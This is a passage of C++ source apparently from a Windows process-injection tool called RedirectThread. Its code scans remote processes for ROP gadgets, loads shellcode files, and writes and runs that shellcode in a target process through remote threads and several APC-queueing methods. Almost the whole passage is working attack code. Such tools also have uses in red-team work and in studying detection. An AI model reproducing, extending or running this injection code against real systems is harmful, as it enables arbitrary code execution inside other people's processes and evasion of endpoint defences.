{ 95 | std::cerr << "[!] Failed to create remote thread. Error: " << GetLastError() << std::endl; 96 | CloseHandle(hProcess); 97 | return false; 98 | } 99 | 100 | // Wait for thread to complete 101 | WaitForSingleObject(hThread, INFINITE); 102 | 103 | // Cleanup 104 | CloseHandle(hThread); 105 | CloseHandle(hProcess); 106 | return true; 107 | } -------------------------------------------------------------------------------- /RedirectThread/DLLInjection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Injection.h" 3 | 4 | // Performs DLL injection using only LoadLibraryA (simpler, less common). 5 | // Assumes the DLL is already present or accessible in the target process context. 6 | bool InjectDllPointerOnly(const InjectionConfig &config); -------------------------------------------------------------------------------- /RedirectThread/GadgetUtil.cpp: -------------------------------------------------------------------------------- 1 | #define NOMINMAX 2 | #include "GadgetUtil.h" 3 | #include // For std::find 4 | #include // For std::cerr 5 | #include // For std::setw, std::setfill 6 | #include // For std::numeric_limits 7 | #include // For size_t (just in case) 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include // For std::numeric_limits 14 | #include // For GetModuleInformation 15 | #include // For SEH (__try, __except) 16 | 17 | // Global variable to hold ExitThread address 18 | DWORD64 g_ExitThreadAddr = 0; 19 | 20 | LPVOID FindCharInRemoteProcess(HANDLE processHandle, char targetChar) 21 | { 22 | if (!processHandle || processHandle == INVALID_HANDLE_VALUE) 23 | { 24 | SetLastError(ERROR_INVALID_HANDLE); 25 | return nullptr; 26 | } 27 | 28 | SYSTEM_INFO sysInfo; 29 | GetSystemInfo(&sysInfo); 30 | LPVOID minAddress = sysInfo.lpMinimumApplicationAddress; 31 | LPVOID maxAddress = sysInfo.lpMaximumApplicationAddress; 32 | LPVOID currentAddress = minAddress; 33 | MEMORY_BASIC_INFORMATION mbi; 34 | 35 | while (currentAddress < maxAddress) 36 | { 37 | if (VirtualQueryEx(processHandle, currentAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) 38 | { 39 | bool isReadable = (mbi.Protect & (PAGE_READONLY | PAGE_EXECUTE_READ)) != 0; 40 | bool isCommitted = (mbi.State == MEM_COMMIT); 41 | bool isGuard = (mbi.Protect & PAGE_GUARD) != 0; 42 | 43 | if (isCommitted && isReadable && !isGuard && mbi.RegionSize > 0) 44 | { 45 | // Avoid excessively large allocations, chunk if necessary 46 | if (mbi.RegionSize > (1024 * 1024 * 100)) 47 | { // 100MB limit 48 | // Skip huge region or implement chunking 49 | } 50 | else 51 | { 52 | std::vector buffer(mbi.RegionSize); 53 | SIZE_T bytesRead = 0; 54 | 55 | if (ReadProcessMemory(processHandle, mbi.BaseAddress, buffer.data(), mbi.RegionSize, &bytesRead)) 56 | { 57 | if (bytesRead > 0) 58 | { 59 | const char *bufferStart = buffer.data(); 60 | const char *bufferEnd = bufferStart + bytesRead; 61 | const char *foundIt = std::find(bufferStart, bufferEnd, targetChar); 62 | 63 | if (foundIt != bufferEnd) 64 | { 65 | SIZE_T offset = static_cast(foundIt - bufferStart); 66 | LPVOID foundAddress = static_cast(mbi.BaseAddress) + offset; 67 | return foundAddress; 68 | } 69 | } 70 | } 71 | } 72 | } 73 | 74 | LPBYTE nextAddr = static_cast(mbi.BaseAddress) + mbi.RegionSize; 75 | if (nextAddr < static_cast(mbi.BaseAddress)) 76 | { 77 | break; 78 | } 79 | currentAddress = nextAddr; 80 | } 81 | else 82 | { 83 | DWORD queryError = GetLastError(); 84 | SetLastError(queryError); 85 | break; 86 | } 87 | } 88 | 89 | SetLastError(ERROR_NOT_FOUND); 90 | return nullptr; 91 | } 92 | 93 | int GetPushInstructionInfo(const BYTE *instructionBytes, SIZE_T bytesAvailable, int *outRegisterId) 94 | { 95 | // Constants for registers and opcodes 96 | constexpr int REG_ID_INVALID = -1; 97 | constexpr int REG_ID_RAX = 0; 98 | constexpr int REG_ID_RBX = 1; 99 | constexpr int REG_ID_RBP = 2; 100 | constexpr int REG_ID_RSI = 3; 101 | constexpr int REG_ID_RDI = 4; 102 | constexpr int REG_ID_R10 = 10; 103 | constexpr int REG_ID_R11 = 11; 104 | constexpr int REG_ID_R12 = 12; 105 | constexpr int REG_ID_R13 = 13; 106 | constexpr int REG_ID_R14 = 14; 107 | constexpr int REG_ID_R15 = 15; 108 | 109 | constexpr BYTE REX_PREFIX = 0x41; 110 | constexpr BYTE PUSH_RAX_OPCODE = 0x50; 111 | constexpr BYTE PUSH_RBX_OPCODE = 0x53; 112 | constexpr BYTE PUSH_RBP_OPCODE = 0x55; 113 | constexpr BYTE PUSH_RSI_OPCODE = 0x56; 114 | constexpr BYTE PUSH_RDI_OPCODE = 0x57; 115 | constexpr BYTE PUSH_R10_OPCODE = 0x52; // When prefixed with REX_PREFIX 116 | constexpr BYTE PUSH_R11_OPCODE = 0x53; // When prefixed with REX_PREFIX 117 | constexpr BYTE PUSH_R12_OPCODE = 0x54; // When prefixed with REX_PREFIX 118 | constexpr BYTE PUSH_R13_OPCODE = 0x55; // When prefixed with REX_PREFIX 119 | constexpr BYTE PUSH_R14_OPCODE = 0x56; // When prefixed with REX_PREFIX 120 | constexpr BYTE PUSH_R15_OPCODE = 0x57; // When prefixed with REX_PREFIX 121 | 122 | *outRegisterId = REG_ID_INVALID; 123 | if (bytesAvailable < 1) 124 | { 125 | return 0; 126 | } 127 | 128 | BYTE op1 = instructionBytes[0]; 129 | 130 | switch (op1) 131 | { 132 | case PUSH_RAX_OPCODE: 133 | *outRegisterId = REG_ID_RAX; 134 | return 1; 135 | case PUSH_RBX_OPCODE: 136 | *outRegisterId = REG_ID_RBX; 137 | return 1; 138 | case PUSH_RBP_OPCODE: 139 | *outRegisterId = REG_ID_RBP; 140 | return 1; 141 | case PUSH_RSI_OPCODE: 142 | *outRegisterId = REG_ID_RSI; 143 | return 1; 144 | case PUSH_RDI_OPCODE: 145 | *outRegisterId = REG_ID_RDI; 146 | return 1; 147 | } 148 | 149 | if (op1 == REX_PREFIX) 150 | { 151 | if (bytesAvailable < 2) 152 | { 153 | return 0; 154 | } 155 | BYTE op2 = instructionBytes[1]; 156 | switch (op2) 157 | { 158 | case PUSH_R10_OPCODE: 159 | *outRegisterId = REG_ID_R10; 160 | return 2; 161 | case PUSH_R11_OPCODE: 162 | *outRegisterId = REG_ID_R11; 163 | return 2; 164 | case PUSH_R12_OPCODE: 165 | *outRegisterId = REG_ID_R12; 166 | return 2; 167 | case PUSH_R13_OPCODE: 168 | *outRegisterId = REG_ID_R13; 169 | return 2; 170 | case PUSH_R14_OPCODE: 171 | *outRegisterId = REG_ID_R14; 172 | return 2; 173 | case PUSH_R15_OPCODE: 174 | *outRegisterId = REG_ID_R15; 175 | return 2; 176 | } 177 | } 178 | return 0; 179 | } 180 | 181 | GadgetInfo FindUniquePushPushRetGadget(HANDLE processHandle) 182 | { 183 | constexpr BYTE RET_OPCODE = 0xC3; 184 | constexpr int REG_ID_INVALID = -1; 185 | 186 | GadgetInfo foundGadget; 187 | if (!processHandle || processHandle == INVALID_HANDLE_VALUE) 188 | { 189 | SetLastError(ERROR_INVALID_HANDLE); 190 | return foundGadget; 191 | } 192 | 193 | SYSTEM_INFO sysInfo; 194 | GetSystemInfo(&sysInfo); 195 | LPVOID searchAddress = sysInfo.lpMinimumApplicationAddress; 196 | LPVOID maxSearchAddress = sysInfo.lpMaximumApplicationAddress; 197 | 198 | MEMORY_BASIC_INFORMATION mbi; 199 | constexpr SIZE_T READ_CHUNK_SIZE = 65536; 200 | std::vector buffer(READ_CHUNK_SIZE); 201 | 202 | while (searchAddress < maxSearchAddress && 203 | VirtualQueryEx(processHandle, searchAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) 204 | { 205 | ULONG_PTR regionEnd = reinterpret_cast(mbi.BaseAddress) + mbi.RegionSize; 206 | if (regionEnd <= reinterpret_cast(mbi.BaseAddress)) 207 | { 208 | break; 209 | } 210 | LPVOID nextSearchAddress = reinterpret_cast(regionEnd); 211 | 212 | bool isExecutable = (mbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)) != 0; 213 | bool isCommitted = (mbi.State == MEM_COMMIT); 214 | bool isGuarded = (mbi.Protect & PAGE_GUARD) != 0; 215 | 216 | if (isCommitted && isExecutable && !isGuarded && mbi.RegionSize > 0) 217 | { 218 | LPBYTE currentRegionPtr = static_cast(mbi.BaseAddress); 219 | LPBYTE endRegionPtr = currentRegionPtr + mbi.RegionSize; 220 | 221 | while (currentRegionPtr < endRegionPtr) 222 | { 223 | SIZE_T bytesToRead = std::min(READ_CHUNK_SIZE, static_cast(endRegionPtr - currentRegionPtr)); 224 | SIZE_T bytesRead = 0; 225 | 226 | if (buffer.size() < bytesToRead) 227 | { 228 | buffer.resize(bytesToRead); 229 | } 230 | 231 | if (!ReadProcessMemory(processHandle, currentRegionPtr, buffer.data(), bytesToRead, &bytesRead) || bytesRead == 0) 232 | { 233 | goto next_region; 234 | } 235 | 236 | for (SIZE_T offset = 0; offset <= bytesRead - 3; ++offset) 237 | { // Min size: PUSH r(1) + PUSH r(1) + RET(1) 238 | int regId1 = REG_ID_INVALID; 239 | int push1Size = GetPushInstructionInfo(buffer.data() + offset, bytesRead - offset, ®Id1); 240 | if (push1Size == 0 || regId1 == REG_ID_INVALID) 241 | continue; 242 | 243 | SIZE_T push2Offset = offset + push1Size; 244 | if (push2Offset > bytesRead - 2) 245 | continue; // Need space for PUSH(min 1) + RET(1) 246 | 247 | int regId2 = REG_ID_INVALID; 248 | int push2Size = GetPushInstructionInfo(buffer.data() + push2Offset, bytesRead - push2Offset, ®Id2); 249 | if (push2Size == 0 || regId2 == REG_ID_INVALID) 250 | continue; 251 | if (regId1 == regId2) 252 | continue; // Need unique registers 253 | 254 | SIZE_T retOffset = push2Offset + push2Size; 255 | if (retOffset >= bytesRead) 256 | continue; // Need space for RET 257 | 258 | if (buffer[retOffset] == RET_OPCODE) 259 | { 260 | foundGadget.address = static_cast(currentRegionPtr) + offset; 261 | foundGadget.regId1 = regId1; 262 | foundGadget.regId2 = regId2; 263 | return foundGadget; 264 | } 265 | } 266 | currentRegionPtr += bytesRead; 267 | } 268 | } 269 | next_region: 270 | searchAddress = nextSearchAddress; 271 | } 272 | 273 | SetLastError(ERROR_NOT_FOUND); 274 | return foundGadget; 275 | } 276 | 277 | bool SetRegisterContextValue(CONTEXT &context, int regId, DWORD64 value) 278 | { 279 | constexpr int REG_ID_RAX = 0; 280 | constexpr int REG_ID_RBX = 1; 281 | constexpr int REG_ID_RBP = 2; 282 | constexpr int REG_ID_RSI = 3; 283 | constexpr int REG_ID_RDI = 4; 284 | constexpr int REG_ID_R10 = 10; 285 | constexpr int REG_ID_R11 = 11; 286 | constexpr int REG_ID_R12 = 12; 287 | constexpr int REG_ID_R13 = 13; 288 | constexpr int REG_ID_R14 = 14; 289 | constexpr int REG_ID_R15 = 15; 290 | 291 | switch (regId) 292 | { 293 | case REG_ID_RAX: 294 | context.Rax = value; 295 | return true; 296 | case REG_ID_RBX: 297 | context.Rbx = value; 298 | return true; 299 | case REG_ID_RBP: 300 | context.Rbp = value; 301 | return true; 302 | case REG_ID_RSI: 303 | context.Rsi = value; 304 | return true; 305 | case REG_ID_RDI: 306 | context.Rdi = value; 307 | return true; 308 | case REG_ID_R10: 309 | context.R10 = value; 310 | return true; 311 | case REG_ID_R11: 312 | context.R11 = value; 313 | return true; 314 | case REG_ID_R12: 315 | context.R12 = value; 316 | return true; 317 | case REG_ID_R13: 318 | context.R13 = value; 319 | return true; 320 | case REG_ID_R14: 321 | context.R14 = value; 322 | return true; 323 | case REG_ID_R15: 324 | context.R15 = value; 325 | return true; 326 | default: 327 | return false; 328 | } 329 | } 330 | 331 | 332 | 333 | LPVOID FindLocalGadgetInRX(const char *moduleName, const std::vector &gadgetBytes, bool verbose = false) 334 | { 335 | if (gadgetBytes.empty()) 336 | { 337 | if (verbose) 338 | std::cerr << "[!] FindLocalGadgetInRX: Gadget byte vector is empty." << std::endl; 339 | return NULL; 340 | } 341 | 342 | HMODULE hModuleLocal = GetModuleHandleA(moduleName); 343 | if (!hModuleLocal) 344 | { 345 | std::cerr << "[!] FindLocalGadgetInRX: GetModuleHandleA failed for " << moduleName << ". Error: " << GetLastError() << std::endl; 346 | return NULL; 347 | } 348 | 349 | MODULEINFO modInfo = {0}; 350 | if (!GetModuleInformation(GetCurrentProcess(), hModuleLocal, &modInfo, sizeof(modInfo))) 351 | { 352 | std::cerr << "[!] FindLocalGadgetInRX: GetModuleInformation failed for " << moduleName << ". Error: " << GetLastError() << std::endl; 353 | // Cannot reliably determine module bounds, fallback might be risky or fail. 354 | return NULL; 355 | } 356 | 357 | DWORD_PTR moduleBase = (DWORD_PTR)modInfo.lpBaseOfDll; 358 | DWORD_PTR moduleEnd = moduleBase + modInfo.SizeOfImage; 359 | const size_t gadgetSize = gadgetBytes.size(); 360 | 361 | if (verbose) 362 | { 363 | std::cout << " [Gadget Search] Searching for " << gadgetSize << " byte gadget in " << moduleName 364 | << " (Base: 0x" << std::hex << moduleBase << ", End: 0x" << moduleEnd << std::dec << ")" << std::endl; 365 | } 366 | 367 | MEMORY_BASIC_INFORMATION mbi; 368 | DWORD_PTR currentAddress = moduleBase; // Start at the known module base 369 | 370 | // Loop through memory regions within the module boundaries 371 | while (currentAddress < moduleEnd && 372 | VirtualQuery((LPCVOID)currentAddress, &mbi, sizeof(mbi)) == sizeof(mbi)) 373 | { 374 | DWORD_PTR regionBase = (DWORD_PTR)mbi.BaseAddress; 375 | DWORD_PTR regionEnd = regionBase + mbi.RegionSize; 376 | 377 | // Ensure the queried region is at least partially within our target module range 378 | // And check if the region is committed memory 379 | if (mbi.State == MEM_COMMIT && regionBase < moduleEnd && regionEnd > moduleBase) 380 | { 381 | 382 | // Check for executable permissions 383 | bool isExecutable = (mbi.Protect & PAGE_EXECUTE) || 384 | (mbi.Protect & PAGE_EXECUTE_READ) || 385 | (mbi.Protect & PAGE_EXECUTE_READWRITE) || 386 | (mbi.Protect & PAGE_EXECUTE_WRITECOPY); 387 | 388 | // Check for readable permissions (needed for memcmp) 389 | // Note: PAGE_EXECUTE often implies read, but being explicit is safer. 390 | bool isReadable = (mbi.Protect & PAGE_READONLY) || 391 | (mbi.Protect & PAGE_READWRITE) || 392 | (mbi.Protect & PAGE_EXECUTE_READ) || 393 | (mbi.Protect & PAGE_EXECUTE_READWRITE); 394 | 395 | bool isGuarded = (mbi.Protect & PAGE_GUARD) || (mbi.Protect & PAGE_NOACCESS); 396 | 397 | if (isExecutable && isReadable && !isGuarded) 398 | { 399 | // Calculate the valid scanning range within this region AND the module boundaries 400 | DWORD_PTR scanStart = std::max(regionBase, moduleBase); 401 | DWORD_PTR scanEnd = std::min(regionEnd, moduleEnd); // Don't scan past module end 402 | 403 | // Ensure there's enough space for the gadget in the valid scan range 404 | if (scanStart < scanEnd && (scanEnd - scanStart) >= gadgetSize) 405 | { 406 | if (verbose) 407 | { 408 | std::cout << " [Gadget Search] Scanning RX region: 0x" << std::hex << scanStart 409 | << " - 0x" << scanEnd << std::dec << std::endl; 410 | } 411 | 412 | for (DWORD_PTR p = scanStart; p <= scanEnd - gadgetSize; ++p) 413 | { 414 | bool found = false; 415 | // Use Structured Exception Handling (SEH) for robustness 416 | __try 417 | { 418 | if (memcmp((const void *)p, gadgetBytes.data(), gadgetSize) == 0) 419 | { 420 | found = true; 421 | } 422 | } 423 | __except (EXCEPTION_EXECUTE_HANDLER) 424 | { 425 | // Access violation reading location p, skip ahead 426 | if (verbose) 427 | std::cerr << " [Gadget Search] Access violation reading 0x" << std::hex << p << std::dec << ". Skipping." << std::endl; 428 | // Advance p past the potentially problematic page boundary 429 | p = (p & ~0xFFF) + 0x1000 - 1; // Align down, add page, subtract 1 for loop increment 430 | if (p < scanStart) 431 | p = scanEnd; // Prevent going backward or infinite loop on repeated AVs 432 | } 433 | 434 | if (found) 435 | { 436 | if (verbose) 437 | std::cout << " [Gadget Search] Found gadget at 0x" << std::hex << (LPVOID)p << std::dec << std::endl; 438 | return (LPVOID)p; 439 | } 440 | } 441 | } 442 | } 443 | } 444 | 445 | // Advance to the next region 446 | // Important: Check for potential stalls if VirtualQuery reports the same region repeatedly 447 | if (regionEnd <= currentAddress) 448 | { 449 | if (verbose) 450 | std::cerr << " [Gadget Search] Memory region end did not advance. Stopping search." << std::endl; 451 | break; 452 | } 453 | currentAddress = regionEnd; 454 | } 455 | 456 | // Gadget not found 457 | std::cerr << "[!] Gadget 0x"; 458 | for (BYTE b : gadgetBytes) 459 | { 460 | std::cerr << std::hex << std::setw(2) << std::setfill('0') << static_cast(b); 461 | } 462 | std::cerr << std::dec << " not found in readable/executable regions of " << moduleName << std::endl; 463 | return NULL; 464 | } 465 | -------------------------------------------------------------------------------- /RedirectThread/GadgetUtil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | #include // For FindUniquePushPushRetGadget if needed, and internal use 6 | #include // For FindCharInRemoteProcess if needed 7 | #include // For error reporting if needed 8 | 9 | // --- ROP Gadget Constants --- 10 | constexpr int REG_ID_INVALID = -1; 11 | 12 | // --- ROP Gadget Structures --- 13 | struct GadgetInfo 14 | { 15 | LPVOID address = nullptr; 16 | int regId1 = REG_ID_INVALID; 17 | int regId2 = REG_ID_INVALID; 18 | }; 19 | 20 | // --- Global Variables --- 21 | // Defined in GadgetUtil.cpp 22 | extern DWORD64 g_ExitThreadAddr; 23 | 24 | // --- ROP Gadget Function Declarations --- 25 | LPVOID FindCharInRemoteProcess(HANDLE processHandle, char targetChar); 26 | int GetPushInstructionInfo(const BYTE *instructionBytes, SIZE_T bytesAvailable, int *outRegisterId); 27 | GadgetInfo FindUniquePushPushRetGadget(HANDLE processHandle); 28 | bool SetRegisterContextValue(CONTEXT &context, int regId, DWORD64 value); 29 | LPVOID FindLocalGadgetInRX(const char *moduleName, const std::vector &gadgetBytes, bool verbose); -------------------------------------------------------------------------------- /RedirectThread/Helpers.cpp: -------------------------------------------------------------------------------- 1 | #include "Helpers.h" 2 | 3 | bool ValidateTargetProcess(DWORD pid, bool verbose) 4 | { 5 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); 6 | if (!hProcess) 7 | { 8 | DWORD error = GetLastError(); 9 | if (error == ERROR_INVALID_PARAMETER) 10 | { 11 | std::cerr << "[!] Process with PID " << pid << " does not exist." << std::endl; 12 | } 13 | else 14 | { 15 | std::cerr << "[!] Failed to validate process with PID " << pid << ". Error: " << error << std::endl; 16 | } 17 | return false; 18 | } 19 | 20 | // Check if process is actually running 21 | DWORD exitCode = 0; 22 | if (!GetExitCodeProcess(hProcess, &exitCode) || exitCode != STILL_ACTIVE) 23 | { 24 | std::cerr << "[!] Process with PID " << pid << " is not running (exit code: " << exitCode << ")." << std::endl; 25 | CloseHandle(hProcess); 26 | return false; 27 | } 28 | 29 | if (verbose) 30 | { 31 | std::cout << "[*] Validated process with PID " << pid << " exists and is running." << std::endl; 32 | } 33 | 34 | CloseHandle(hProcess); 35 | return true; 36 | } 37 | 38 | bool ValidateTargetThread(DWORD tid, bool verbose) 39 | { 40 | HANDLE hThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, FALSE, tid); 41 | if (!hThread) 42 | { 43 | DWORD error = GetLastError(); 44 | if (error == ERROR_INVALID_PARAMETER) 45 | { 46 | std::cerr << "[!] Thread with TID " << tid << " does not exist." << std::endl; 47 | } 48 | else 49 | { 50 | std::cerr << "[!] Failed to validate thread with TID " << tid << ". Error: " << error << std::endl; 51 | } 52 | return false; 53 | } 54 | 55 | // Additional check to see if thread is running/alive 56 | DWORD exitCode = 0; 57 | if (!GetExitCodeThread(hThread, &exitCode) || exitCode != STILL_ACTIVE) 58 | { 59 | std::cerr << "[!] Thread with TID " << tid << " is not running (exit code: " << exitCode << ")." << std::endl; 60 | CloseHandle(hThread); 61 | return false; 62 | } 63 | 64 | if (verbose) 65 | { 66 | std::cout << "[*] Validated thread with TID " << tid << " exists and is active." << std::endl; 67 | } 68 | 69 | CloseHandle(hThread); 70 | return true; 71 | } 72 | 73 | bool LoadShellcode(const std::string &filepath, std::vector &bytes) 74 | { 75 | std::ifstream file(filepath, std::ios::binary); 76 | if (!file.is_open()) 77 | { 78 | std::cerr << "[!] Failed to open shellcode file: " << filepath << std::endl; 79 | return false; 80 | } 81 | 82 | // Get file size 83 | file.seekg(0, std::ios::end); 84 | std::streamsize size = file.tellg(); 85 | file.seekg(0, std::ios::beg); 86 | 87 | // Resize vector and read file contents 88 | bytes.resize(static_cast(size)); 89 | if (!file.read(reinterpret_cast(bytes.data()), size)) 90 | { 91 | std::cerr << "[!] Failed to read shellcode file: " << filepath << std::endl; 92 | return false; 93 | } 94 | 95 | return true; 96 | } 97 | 98 | bool LoadShellcodeEx(const InjectionConfig &config, std::vector &shellcodeBytes) 99 | { 100 | // Prioritize directly provided shellcode bytes 101 | if (!config.shellcodeBytes.empty()) 102 | { 103 | shellcodeBytes = config.shellcodeBytes; 104 | if (config.verbose) 105 | { 106 | std::cout << "[*] Using " << shellcodeBytes.size() << " bytes of shellcode provided directly." << std::endl; 107 | } 108 | } 109 | // If not provided directly, try loading from file path 110 | else if (!config.shellcodeFilePath.empty()) 111 | { 112 | if (!LoadShellcode(config.shellcodeFilePath, shellcodeBytes)) 113 | { 114 | return false; 115 | } 116 | if (config.verbose) 117 | { 118 | std::cout << "[*] Loaded " << shellcodeBytes.size() << " bytes of shellcode from " << config.shellcodeFilePath << std::endl; 119 | } 120 | } 121 | 122 | // Final validation checks 123 | if (shellcodeBytes.empty()) 124 | { 125 | std::cerr << "[!] No shellcode provided for injection (neither direct bytes nor a valid file path was specified)." << std::endl; 126 | return false; 127 | } 128 | 129 | if (shellcodeBytes.size() > config.allocSize) 130 | { 131 | std::cerr << "[!] Shellcode size (" << shellcodeBytes.size() 132 | << " bytes) is larger than requested allocation size (" << config.allocSize 133 | << " bytes)." << std::endl; 134 | return false; 135 | } 136 | 137 | return true; 138 | } 139 | -------------------------------------------------------------------------------- /RedirectThread/Helpers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "Arguments.h" 8 | 9 | bool ValidateTargetProcess(DWORD pid, bool verbose); 10 | bool ValidateTargetThread(DWORD tid, bool verbose); 11 | bool LoadShellcode(const std::string &filepath, std::vector &bytes); 12 | bool LoadShellcodeEx(const InjectionConfig &config, std::vector &shellcodeBytes); -------------------------------------------------------------------------------- /RedirectThread/Injection.cpp: -------------------------------------------------------------------------------- 1 | #include "Injection.h" 2 | 3 | static bool InjectShellcodeUsingCreateRemoteThread( 4 | HANDLE hProcess, 5 | const std::vector &shellcodeBytes, 6 | SIZE_T allocSize, 7 | DWORD allocPerm, 8 | bool verbose); 9 | 10 | bool Inject(const InjectionConfig &config) 11 | { 12 | // Create a modifiable copy of the shellcode bytes 13 | std::vector shellcodeBytes; 14 | 15 | LoadShellcodeEx(config, shellcodeBytes); 16 | 17 | // Open process with necessary permissions (using function from ProcessThread.h) 18 | HANDLE hProcess = OpenTargetProcess(config.targetPid); 19 | if (!hProcess) 20 | { 21 | std::cerr << "[!] Failed to open target process. Error: " << GetLastError() << std::endl; 22 | return false; 23 | } 24 | 25 | if (config.verbose) 26 | { 27 | std::cout << "[*] Successfully opened process with PID: " << config.targetPid << std::endl; 28 | } 29 | 30 | bool success = false; 31 | 32 | // Choose appropriate delivery method 33 | switch (config.method) 34 | { 35 | case DeliveryMethod::NTCREATETHREAD: 36 | if (config.verbose) 37 | { 38 | std::cout << "[*] Using NtCreateThread injection method" << std::endl; 39 | } 40 | success = InjectShellcodeUsingNtCreateThread( 41 | hProcess, 42 | shellcodeBytes, 43 | config.allocSize, 44 | config.allocPerm, 45 | config.verbose); 46 | break; 47 | 48 | case DeliveryMethod::QUEUEUSERAPC: 49 | if (config.verbose) 50 | { 51 | std::cout << "[*] Using QueueUserAPC injection method" << std::endl; 52 | } 53 | success = InjectShellcodeUsingAPC( 54 | hProcess, 55 | shellcodeBytes, 56 | config); 57 | break; 58 | 59 | case DeliveryMethod::QUEUEUSERAPC2: 60 | if (config.verbose) 61 | std::cout << "[*] Using QueueUserAPC2 injection method with special user APC flag" << std::endl; 62 | 63 | success = InjectShellcodeUsingQueueUserAPC2( 64 | hProcess, 65 | shellcodeBytes, 66 | config); 67 | break; 68 | 69 | case DeliveryMethod::NTQUEUEAPCTHREAD: 70 | if (config.verbose) 71 | std::cout << "[*] Using NtQueueApcThread injection method" << std::endl; 72 | 73 | success = InjectShellcodeUsingNtQueueApcThread( 74 | hProcess, 75 | shellcodeBytes, 76 | config); 77 | break; 78 | 79 | case DeliveryMethod::NTQUEUEAPCTHREADEX: 80 | if (config.verbose) 81 | std::cout << "[*] Using NtQueueApcThreadEx injection method" << std::endl; 82 | 83 | success = InjectShellcodeUsingNtQueueApcEx( 84 | hProcess, 85 | shellcodeBytes, 86 | config); 87 | break; 88 | 89 | case DeliveryMethod::NTQUEUEAPCTHREADEX2: 90 | if (config.verbose) 91 | std::cout << "[*] Using NtQueueApcThreadEx2 injection method with special user APC flag" << std::endl; 92 | 93 | success = InjectShellcodeUsingNtQueueApcThreadEx2( 94 | hProcess, 95 | shellcodeBytes, 96 | config); 97 | break; 98 | 99 | case DeliveryMethod::CREATETHREAD: 100 | default: 101 | if (config.verbose) 102 | std::cout << "[*] Using ROP gadget injection method" << std::endl; 103 | 104 | success = InjectShellcodeUsingCreateRemoteThread( 105 | hProcess, 106 | shellcodeBytes, 107 | config.allocSize, 108 | config.allocPerm, 109 | config.verbose); 110 | break; 111 | } 112 | 113 | CloseHandle(hProcess); 114 | return success; 115 | } 116 | 117 | static bool InjectShellcodeUsingCreateRemoteThread( 118 | HANDLE hProcess, 119 | const std::vector &shellcodeBytes, 120 | SIZE_T allocSize, 121 | DWORD allocPerm, 122 | bool verbose) 123 | { 124 | // Find a unique push-push-ret gadget in the target process 125 | GadgetInfo gadget = FindUniquePushPushRetGadget(hProcess); 126 | if (gadget.address == nullptr) 127 | { 128 | std::cerr << "[!] Failed to find a suitable ROP gadget in the target process. Error: " << GetLastError() << std::endl; 129 | return false; 130 | } 131 | 132 | if (verbose) 133 | std::cout << "[*] Found ROP gadget at address: " << gadget.address << std::endl; 134 | 135 | // Get necessary function addresses 136 | HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); 137 | if (!hKernel32) 138 | { 139 | std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl; 140 | return false; 141 | } 142 | 143 | LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc"); 144 | LPVOID pExitThread = GetProcAddress(hKernel32, "ExitThread"); 145 | LPVOID pRtlFillMemory = GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlFillMemory"); // RtlFillMemory is in ntdll.dll 146 | if (verbose) 147 | { 148 | std::cout << "[*] Function addresses obtained:" 149 | << "\n VirtualAlloc: " << pVirtualAlloc 150 | << "\n ExitThread: " << pExitThread 151 | << "\n RtlFillMemory: " << pRtlFillMemory << std::endl; 152 | } 153 | 154 | if (!pVirtualAlloc || !pExitThread || !pRtlFillMemory) 155 | { 156 | std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl; 157 | return false; 158 | } 159 | 160 | // Set the ExitThread address for use in remote threads 161 | DWORD64 exitThreadAddr = reinterpret_cast(pExitThread); 162 | 163 | // Allocate memory in the target process for the shellcode 164 | DWORD64 ALLOC_SIZE = allocSize; 165 | DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE; 166 | DWORD64 ALLOC_PROTECT = allocPerm; 167 | DWORD64 REQUESTED_ALLOC_ADDR = 0x60000; // Default base address for allocation 168 | 169 | // Create a remote thread to call VirtualAlloc 170 | bool allocSuccess = CreateRemoteThreadViaGadget( 171 | hProcess, gadget, 172 | REQUESTED_ALLOC_ADDR, ALLOC_SIZE, ALLOC_TYPE, ALLOC_PROTECT, 173 | reinterpret_cast(pVirtualAlloc), exitThreadAddr); 174 | 175 | if (!allocSuccess) 176 | { 177 | std::cerr << "[!] Failed to allocate memory in the target process. Error: " << GetLastError() << std::endl; 178 | return false; 179 | } 180 | 181 | if (verbose) 182 | std::cout << "[*] Successfully allocated memory at address: 0x" << std::hex 183 | << REQUESTED_ALLOC_ADDR << std::dec 184 | << " with size: " << ALLOC_SIZE << " bytes" << std::endl; 185 | 186 | // Copy the shellcode to the allocated memory 187 | bool copySuccess = PerformRemoteMemoryCopy( 188 | hProcess, gadget, 189 | pRtlFillMemory, // Pass address of RtlFillMemory 190 | REQUESTED_ALLOC_ADDR, 191 | shellcodeBytes.data(), shellcodeBytes.size(), 192 | exitThreadAddr); 193 | 194 | if (!copySuccess) 195 | { 196 | std::cerr << "[!] Failed to copy shellcode to the target process. Error: " << GetLastError() << std::endl; 197 | return false; 198 | } 199 | 200 | if (verbose) 201 | std::cout << "[*] Successfully copied " << shellcodeBytes.size() 202 | << " bytes of shellcode to the target process" << std::endl; 203 | 204 | // Execute the shellcode 205 | bool execSuccess = CreateRemoteThreadViaGadget( 206 | hProcess, gadget, 207 | 0, 0, 0, 0, 208 | REQUESTED_ALLOC_ADDR, exitThreadAddr); 209 | 210 | if (!execSuccess) 211 | { 212 | std::cerr << "[!] Failed to execute shellcode. Error: " << GetLastError() << std::endl; 213 | return false; 214 | } 215 | 216 | if (verbose) 217 | std::cout << "[*] Successfully executed shellcode" << std::endl; 218 | 219 | return true; 220 | } -------------------------------------------------------------------------------- /RedirectThread/Injection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 